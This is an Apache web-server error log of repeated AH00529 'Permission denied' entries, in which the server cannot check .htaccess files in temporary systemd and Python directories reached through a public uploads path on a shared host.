[Fri Jul 17 09:19:46.932969 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php83-php-fpm.service-UYDcui/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php83-php-fpm.service-UYDcui/' is executable
[Fri Jul 17 09:19:46.933036 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-pdns.service-b7R6dJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-pdns.service-b7R6dJ/' is executable
[Fri Jul 17 09:19:46.933136 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php73-php-fpm.service-oIPIed/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php73-php-fpm.service-oIPIed/' is executable
[Fri Jul 17 09:19:46.933213 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-pdns.service-R3sMXU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-pdns.service-R3sMXU/' is executable
[Fri Jul 17 09:19:46.933324 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gzumd3ib/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gzumd3ib/' is executable
[Fri Jul 17 09:19:46.933401 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php72-php-fpm.service-vkT7L1/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php72-php-fpm.service-vkT7L1/' is executable
[Fri Jul 17 09:19:46.933457 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-oxr7nncg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-oxr7nncg/' is executable
[Fri Jul 17 09:19:46.933524 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php73-php-fpm.service-naxqnW/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php73-php-fpm.service-naxqnW/' is executable
[Fri Jul 17 09:19:46.933650 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php82-php-fpm.service-V5Gz2q/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php82-php-fpm.service-V5Gz2q/' is executable
[Fri Jul 17 09:19:46.933731 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php72-php-fpm.service-U1FwrB/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php72-php-fpm.service-U1FwrB/' is executable
[Fri Jul 17 09:19:46.933808 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php72-php-fpm.service-kPKuBL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php72-php-fpm.service-kPKuBL/' is executable
[Fri Jul 17 09:19:46.933929 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-pdns.service-Ypbb7b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-pdns.service-Ypbb7b/' is executable
[Fri Jul 17 09:19:46.934027 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/sbJxhmAWdc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/sbJxhmAWdc/' is executable
[Fri Jul 17 09:19:46.934115 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/bdEtWXzS1b/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/bdEtWXzS1b/' is executable
[Fri Jul 17 09:19:46.934171 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ymh0dkyv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ymh0dkyv/' is executable
[Fri Jul 17 09:19:46.934240 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/9ItvPCFkNy/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/9ItvPCFkNy/' is executable
[Fri Jul 17 09:19:46.934306 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/C6CIOQzWIl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/C6CIOQzWIl/' is executable
[Fri Jul 17 09:19:46.934394 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pBlMOZHhlw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pBlMOZHhlw/' is executable
[Fri Jul 17 09:19:46.934486 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php81-php-fpm.service-dmwgsi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php81-php-fpm.service-dmwgsi/' is executable
[Fri Jul 17 09:19:46.934621 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php83-php-fpm.service-3YBYrs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php83-php-fpm.service-3YBYrs/' is executable
[Fri Jul 17 09:19:46.934754 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php73-php-fpm.service-0V6H9l/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php73-php-fpm.service-0V6H9l/' is executable
[Fri Jul 17 09:19:46.934854 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/TMHdRzKxNC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/TMHdRzKxNC/' is executable
[Fri Jul 17 09:19:46.934914 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-pdns.service-qzZb2A/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-pdns.service-qzZb2A/' is executable
[Fri Jul 17 09:19:46.935027 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/zxQBLB7AIK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/zxQBLB7AIK/' is executable
[Fri Jul 17 09:19:46.935133 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php72-php-fpm.service-SDYn1a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php72-php-fpm.service-SDYn1a/' is executable
[Fri Jul 17 09:19:46.935233 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php72-php-fpm.service-jhmnh7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php72-php-fpm.service-jhmnh7/' is executable
[Fri Jul 17 09:19:46.935292 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-p8liezp2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-p8liezp2/' is executable
[Fri Jul 17 09:19:46.935381 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/3YtEWemeLa/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/3YtEWemeLa/' is executable
[Fri Jul 17 09:19:46.935455 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/uPQEODDOuD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/uPQEODDOuD/' is executable
[Fri Jul 17 09:19:46.935521 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/i9Ob7DQmol/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/i9Ob7DQmol/' is executable
[Fri Jul 17 09:19:46.935603 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-pdns.service-Wr4bXU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-pdns.service-Wr4bXU/' is executable
[Fri Jul 17 09:19:46.935684 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php72-php-fpm.service-J3d9FD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php72-php-fpm.service-J3d9FD/' is executable
[Fri Jul 17 09:19:46.935738 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-da55pvhl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-da55pvhl/' is executable
[Fri Jul 17 09:19:46.935803 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-b7w6wlxi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-b7w6wlxi/' is executable
[Fri Jul 17 09:19:46.935858 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php73-php-fpm.service-bzNC5e/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-60fd5dda6d1f494b8d9a22657cc1cb31-ea-php73-php-fpm.service-bzNC5e/' is executable
[Fri Jul 17 09:19:46.935934 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php81-php-fpm.service-T1SuB4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php81-php-fpm.service-T1SuB4/' is executable
[Fri Jul 17 09:19:46.935996 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-46immh44/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-46immh44/' is executable
[Fri Jul 17 09:19:46.936112 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-chronyd.service-mDLrAn/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-chronyd.service-mDLrAn/' is executable
[Fri Jul 17 09:19:46.936200 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/k0gNMbSlJA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/k0gNMbSlJA/' is executable
[Fri Jul 17 09:19:46.936247 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-nj76cblr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-nj76cblr/' is executable
[Fri Jul 17 09:19:46.936291 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php81-php-fpm.service-pYibIh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php81-php-fpm.service-pYibIh/' is executable
[Fri Jul 17 09:19:46.936335 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php73-php-fpm.service-WI1SRe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-ea-php73-php-fpm.service-WI1SRe/' is executable
[Fri Jul 17 09:19:46.936435 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php74-php-fpm.service-chQrqs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php74-php-fpm.service-chQrqs/' is executable
[Fri Jul 17 09:19:46.936501 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php72-php-fpm.service-YZop16/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-a2f2d96eb1d44996bc6c946c8e837cdd-ea-php72-php-fpm.service-YZop16/' is executable
[Fri Jul 17 09:19:46.936544 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Ngj0P0rpyd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/Ngj0P0rpyd/' is executable
[Fri Jul 17 09:19:46.936620 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-kv24uefh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-kv24uefh/' is executable
[Fri Jul 17 09:19:46.936668 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-d258te3l/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-d258te3l/' is executable
[Fri Jul 17 09:19:46.936711 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/RKN0rEjNJC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/RKN0rEjNJC/' is executable
[Fri Jul 17 09:19:46.936753 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-jwkqqxlu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-jwkqqxlu/' is executable
[Fri Jul 17 09:19:46.936797 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php72-php-fpm.service-cwwtZE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-b151d0f59b1b4c2cbb0b4ece46be7924-ea-php72-php-fpm.service-cwwtZE/' is executable
[Fri Jul 17 09:19:46.936845 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/XzEwvz_fp0/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/XzEwvz_fp0/' is executable
